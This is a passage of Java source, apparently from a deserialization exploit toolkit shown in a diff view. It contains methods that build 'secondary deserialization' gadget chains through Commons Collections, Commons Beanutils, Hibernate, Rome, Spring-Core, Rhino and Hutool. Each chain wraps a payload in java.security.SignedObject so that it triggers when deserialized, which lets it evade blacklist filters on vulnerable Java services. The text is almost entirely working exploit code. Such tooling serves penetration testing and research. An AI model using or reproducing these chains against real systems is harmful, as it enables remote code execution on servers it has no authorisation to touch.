cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy);
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
Object[] objects = (Object[]) getFieldValue(queue, "queue");
objects[1] = proxy;
Comparator<?> comparator = new PropertyComparator<>("bounds");
setFieldValue(queue, "comparator", comparator);
return queue;
}
// CC 无数组二次反序列化
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Map<?,?> old = new HashMap<>();
Transformer invoke = new InvokerTransformer("toString", null, null);
Map<?,?> newMap = LazyMap.decorate(old, invoke);
TiedMapEntry entry = new TiedMapEntry(newMap, obj);
Map<TiedMapEntry, Object> ht = new HashMap<>();
ht.put(entry, obj);
newMap.remove(obj);
setFieldValue(invoke, "iMethodName", "getObject");
return ht;
}
// CC4 无 TiedMapEntry 二次反序列化
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator<>(transformer);
TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp);
tree.add(obj);
setFieldValue(transformer, "iMethodName", "getObject");
return tree;
}
// CB 二次反序列化
public Object getSignedObjectWithCB(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "object");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
// Hibernate 二次反序列化
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
return Hibernate1.makeCaller(obj, getters);
}
// Rome 二次反序列化
public Object getSignedObjectWithRome(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return makeMap(root, root);
}
// Spring-Core 二次反序列化
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
setFieldValue(mitp, "methodName", "getObject");
return mitp;
}
// Rhino 二次反序列化
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
setFieldValue(initContextNativeJavaObject, "isAdapter", true);
setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "object", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
setFieldValue(nativeJavaArray, "parent", dummyScope);
setFieldValue(nativeJavaArray, "javaObject", obj);
nativeJavaArray.setPrototype(scriptableObject);
setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
setFieldValue(nativeJavaObject, "parent", dummyScope);
setFieldValue(nativeJavaObject, "isAdapter", true);
setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
}

Some files were not shown because too many files have changed in this diff Show More